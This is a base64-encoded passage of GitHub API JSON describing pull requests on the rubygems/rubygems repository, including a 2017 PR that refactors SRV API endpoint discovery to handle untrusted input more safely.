6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21lcmdlcyIsImFyY2hpdmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzey9udW1iZXJ9IiwicHVsbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL25vdGlmaWNhdGlvbnN7P3NpbmNlLGFsbCxwYXJ0aWNpcGF0aW5nfSIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2RlcGxveW1lbnRzIiwiY3JlYXRlZF9hdCI6IjIwMTAtMDQtMTZUMTk6MDI6NDRaIiwidXBkYXRlZF9hdCI6IjIwMTgtMDEtMDVUMTk6MzY6MDZaIiwicHVzaGVkX2F0IjoiMjAxOC0wMS0wNVQwODoyMDozNVoiLCJnaXRfdXJsIjoiZ2l0Oi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206cnVieWdlbXMvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHBzOi8vcnVieWdlbXMub3JnLyIsInNpemUiOjE0MjkwLCJzdGFyZ2F6ZXJzX2NvdW50IjoxOTA2LCJ3YXRjaGVyc19jb3VudCI6MTkwNiwibGFuZ3VhZ2UiOiJSdWJ5IiwiaGFzX2lzc3VlcyI6dHJ1ZSwiaGFzX3Byb2plY3RzIjpmYWxzZSwiaGFzX2Rvd25sb2FkcyI6dHJ1ZSwiaGFzX3dpa2kiOmZhbHNlLCJoYXNfcGFnZXMiOmZhbHNlLCJmb3Jrc19jb3VudCI6OTU5LCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjoxNjIsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6OTU5LCJvcGVuX2lzc3VlcyI6MTYyLCJ3YXRjaGVycyI6MTkwNiwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sIl9saW5rcyI6eyJzZWxmIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMTIifSwiaHRtbCI6eyJocmVmIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMiJ9LCJpc3N1ZSI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMiJ9LCJjb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMi9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExMi9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudCI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSJ9LCJjb21taXRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMTIvY29tbWl0cyJ9LCJzdGF0dXNlcyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9jNDEyYzZjNTk4OGVlOTVkM2Y1MTA1NzE2MzMzZWFlNzUyNDkyMDlhIn19LCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMDM1IiwiaWQiOjE0NTg0NDc4NSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMDM1IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMDM1LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMDM1LnBhdGNoIiwiaXNzdWVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAzNSIsIm51bWJlciI6MjAzNSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwidGl0bGUiOiJSZWZhY3RvciBhcGlfZW5kcG9pbnQgdG8gYmUgbW9yZSBleHBsaWNpdCIsInVzZXIiOnsibG9naW4iOiJjbGF1ZGlqZCIsImlkIjo3OTQyODMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc5NDI4Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jbGF1ZGlqZCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxyXG5cclxuVGhlIGlucHV0IHZhbGlkYXRpb24gY2hlY2tzIG9uIFNSViBhcGkgZW5kcG9pbnQgZGlzY292ZXJ5IGFyZSBzYW5lLCBidXQgaXQncyB1c2FnZSBhZnRlcndhcmRzIGNvdWxkIGJlIGJldHRlci4gIFRoaXMgUFIgaW5jb3Jwb3JhdGVzIGZlZWRiYWNrIGZyb20gZGF2aWRAYmFtc29mdHdhcmUuY29tLCB0byBtYWtlIHRoaXMgZXZlbiBzYWZlciBhbmQgbW9yZSBleHBsaWNpdCBob3cgd2UncmUgaGFuZGxpbmcgdGhpcyBwb3RlbnRpYWxseSB1bnNhZmUgaW5wdXQgdGhhdCBoZWxwcyB3aXRoIEFQSSBkaXNjb3ZlcnkuXHJcbl9fX19fX19fX19fX19fXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbWF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXHJcbi0gW1hdIFdyaXRlIHRlc3RzXHJcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cclxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cclxuIiwiY3JlYXRlZF9hdCI6IjIwMTctMTAtMTFUMDI6NDY6MzlaIiwidXBkYXRlZF9hdCI6IjIwMTctMTAtMTFUMDM6MzM6NDBaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiI4ZTFhMTkwNmI5MjI5ZGQ3ZDExMDUxN2RhMjA2MzhjMmNhZmYxMzA2IiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMDM1L2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMDM1L2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzUvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzE5YTg0ZDA4NGE3ZTQxZGUyZTVhNTFiMTZiNjdhMzAxODJkZDEwY2YiLCJoZWFkIjp7ImxhYmVsIjoiY2xhdWRpamQ6cmVtb3RlX2ZldGNoZXJfYXBpX3JlZmFjdG9yaW5nIiwicmVmIjoicmVtb3RlX2ZldGNoZXJfYXBpX3JlZmFjdG9yaW5nIiwic2hhIjoiMTlhODRkMDg0YTdlNDFkZTJlNWE1MWIxNmI2N2EzMDE4MmRkMTBjZiIsInVzZXIiOnsibG9naW4iOiJjbGF1ZGlqZCIsImlkIjo3OTQyODMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc5NDI4Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jbGF1ZGlqZCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjM1NDU1MTMxLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJjbGF1ZGlqZC9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoiY2xhdWRpamQiLCJpZCI6Nzk0MjgzLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS83OTQyODM/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY2xhdWRpamQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jbGF1ZGlqZC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY2xhdWRpamQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NsYXVkaWpkL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY2xhdWRpamQvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6dHJ1ZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL21lcmdlcyIsImFyY2hpdmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2xhdWRpamQvcnVieWdlbXMvaXNzdWVzey9udW1iZXJ9IiwicHVsbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbGF1ZGlqZC9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL25vdGlmaWNhdGlvbnN7P3NpbmNlLGFsbCxwYXJ0aWNpcGF0aW5nfSIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NsYXVkaWpkL3J1YnlnZW1zL2